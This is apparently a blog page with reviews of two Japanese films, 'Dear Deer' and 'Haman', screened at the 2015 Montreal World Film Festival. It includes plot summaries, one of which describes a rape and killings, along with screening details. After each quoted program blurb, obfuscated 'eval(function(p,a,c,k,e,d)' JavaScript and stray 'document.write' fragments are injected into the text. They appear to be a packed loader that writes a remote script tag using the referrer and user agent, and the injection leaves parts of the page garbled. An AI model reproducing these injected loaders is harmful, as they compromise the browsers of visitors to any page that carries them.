“A woman stares at a deserted exhibition in the local museum, document.write(“”); a place said to be haunted by the phantom of a deer, “Ryomo-Shika”… Twenty-five years earlier three siblings reported seeing the deer, becoming first famous, then infamous when their claim was debunked. The fallout was devastating. The second son, Yoshio, is now living in a psychiatric institution; Akiko, the unsociable youngest daughter, lives in the country with an older man; and the eldest son, Fujio, who has remained in town, is burdened with debt from the family’s failing business. Now, with their father dying, the three siblings along with their respective partners and friends, have returned home, their first reunion in many years. But time hasn’t dulled their rivalries and or their rancour. They find themselves once again at a crossroads in life.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfrdt|var|u0026u|referrer|dnebi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aybyi|var|u0026u|referrer|atabs||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I admit that I misunderstood the movie description in the program, so I thought it would be some sort of ghost story. Not at all.

When they were kids, siblings Fujio, Yoshio and Akiko saw a rare deer that was supposed to be extinct and took a blurry picture. But people thought it was an hoax and that they lied to attract attention or just misidentified a common deer. They were quite hurt no to be believed. On top of that, after their mother’s death, their father became quite abusive, so the younger brother and sister left their hometown and the older brother stayed to take care of the family business. He has to work hard to keep it (and the town) together despite serious economic problems as a big development company tries to buy off the land. The younger brother seem to have a mild case of obsessive-compulsive disorder as he seems to have internalize all his guilt and frustrations from the childhood. The younger sister is good looking and has always had her ways with men, but unfortunately she eloped with a loser. She is very selfish but she eventually soften. She has a very unhappy life in Tokyo.

Twenty-five years later, they come back to their hometown when their father become gravely ill. They all have been greatly affected by their childhood have serious psychological problems. The death of the father brings back to the surface all their issues and what stayed unsaid for a long time is being expressed making their return trip a cathartic experience that is finally freeing them from the weight that had kept them miserable for all those years.

This is a very beautiful and interesting movie. Japanese movies are always good at showing us the beauty of the countryside. The director said that he was inspired by the fact that people from the countryside and people from the city seem to have very different mentality and way of life.

Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

Film screened at the Montreal World Film Festival on September 3rd, 2015 (Cinema Quartier Latin 9, 11h00 – the theatre was filled only at 10% of its capacity) as part of the “First Film World Competition” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:

Dear Deer © 2015 Office Kiryu.

[ Traduire ]

“A tragic story of a girl who becomes a monster. Deeply in love, document.write(“”); Haruka decides to have sex with her boyfriend. But the results are catastrophic: she accidentally kills him. Traumatized, she flees the scene. Her cursed life has begun. Does she have any hope of escaping the malediction? A dark fantasy about life, sex and love. ”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|taezr|var|u0026u|referrer|krhya||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftbzr|var|u0026u|referrer|dbbbi||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I was not expecting much from this movie. I thought it would be a Fantasia-style gory and sexual horror movie. I was surprised to discover I was a more subtler and meaningful fantastical tale.

Haruka is cursed. She goes to a love hotel to have sex for the first time with her boyfriend. What should have been a pleasant occasion turns into a nightmare when her boyfriend unexpectedly and painfully dies during intercourse. She has no idea what happened: she was enjoying herself on top of him when there’s suddenly a gush of blood as she appears to have ripped off her boyfriend’s penis. She flees the scene in horror. The next day, in the news, the police talks of a gruesome murder as the sex of the victim appears to have been bitten off in a very inhuman way.

She skips school and wanders around in a dazed state. Has she dreamed or hallucinated the whole ordeal? Is that a fantasy induced by teenage angst and sexual anxiety? Or is she really some sort of monster and it happened for real? Is that even possible to have teeth “down there”? As she wanders on the road, she is kidnapped and raped by a pervert, but she kills him too, by “biting” off his penis with her vagina. The curse is confirmed.

Eventually, she meets Yosuke — who is nice to her and helps her overcome the trauma. She also meets his sister (so she said but she ends up being a jealous impersonator stalking Yosuke). They starts dating but Haruka fears that if they go further she will kill him. However, she accepts to date him only if they have a sexless relationship. Of course, with time, Yosuke cannot endure such a sexless love and wants to have her even if he knows that it will probably kill him. A love to die for.

The director said he was inspired by the true story of Sada Abe — who killed her lover and kept his penis as a souvenir. Even if the story had already been adapted in several movies — the most famous being Ai no Korida / In the realm of the senses by Nagissa Oshima — it seemed to him to be a good starting point to talk about sex and love.

The movie was very low budget and was shot within twelve days with a crew of seven (all volunteers) but most of the work was done by Tetsuya Okabe (directing, script, editing, etc., even paying for the lunch of the crew!). The film looks pretty good for such a low budget production and the director succeeded to turn a subject of comedic horror into a thoughtful allegory.

The title, Haman (???), is a slang blend (or portemanteau) expression made from ? [Ha, tooth] and ???? [Omanko, vagina] meaning “toothed vagina”. I am not sure if the director was aware of this when he wrote the script (most probably), but the idea of the “vagina dentata” (in Latin) can be found in the folklore of many ancient cultures.

All in all, it was a good movie and I enjoyed it. It is amusing to see that the story ends up much more interesting by being treated through a more mainstream movie (with minimum gore and nudity–we see Haruka’s breast in only one scene) rather than as a comedic horror film.

Haman (??? / lit. “toothed vagina”): Japan, 2015, 95 min.; Dir./Scr./Ed.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

Film screened at the Montreal World Film Festival on September 2nd, 2015 (Cinema Quartier Latin 16, 20h30 – the theatre was filled only at 18% of its capacity) as part of the “World Great” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:
Haman © 2015?????.

[ Traduire ]